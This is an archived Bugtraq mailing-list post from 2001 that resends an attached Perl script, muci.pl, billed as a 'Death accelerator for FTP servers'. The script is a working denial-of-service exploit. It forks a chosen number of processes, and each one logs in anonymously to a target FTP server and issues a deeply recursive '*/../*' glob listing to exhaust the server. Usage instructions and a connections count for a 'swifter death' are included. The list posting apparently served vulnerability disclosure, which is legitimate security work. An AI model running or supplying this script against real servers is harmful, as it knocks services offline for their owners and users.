[19691] in bugtraq
oops, previous message broken
daemon@ATHENA.MIT.EDU (Stefan Laudat)
Mon Mar 19 13:55:54 2001
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="HcAYCG3uE/tztfnV"
Content-Disposition: inline
Message-ID: <20010317151927.A5697@RoEdu.NET>
Date: Sat, 17 Mar 2001 15:19:27 +0200
Reply-To: Stefan Laudat <stefan@ROEDU.NET>
From: Stefan Laudat <stefan@ROEDU.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
--HcAYCG3uE/tztfnV
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
oops, fixed version attached...
lost myself in details sorry.
--
Stefan Laudat - Network & Security Engineer
CCNA,CCAI
RoEduNet - THE Romanian Education Network
-------------------------------------------
If you're not part of the solution then you're part of the problem.
--HcAYCG3uE/tztfnV
Content-Type: application/x-perl
Content-Disposition: attachment; filename="muci.pl"
#!/usr/bin/perl -w
# Death accelerator for FTP servers (C) Ninja 2001
# This is for educational purposes only
# All credits go to Gore, my old parakeet who c0des perl better than me
# Just tweak the connections number to bring a swifter death to your machine
# Ain't life a bitch ? Hehe...
use Net::FTP;
if($#ARGV==-1) {
# Print help file
print ("\n Usage: $0 [victim] [port] [connections] \n");
}
else {
($victim,$port,$conn)=@ARGV;
print "Attacking $victim:$port with $conn connections\n";
for($i=0;$i<$conn;$i++) {
$procid=fork();
if($procid==0){
$ftp=Net::FTP->new("$victim", Port=>$port, Passive=>1);
$ftp->login("anonymous",'bitch@kiddie.box');
$ftp->ascii();
$ftp->ls("*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*");
$ftp->quit();
}
}
}
--HcAYCG3uE/tztfnV--
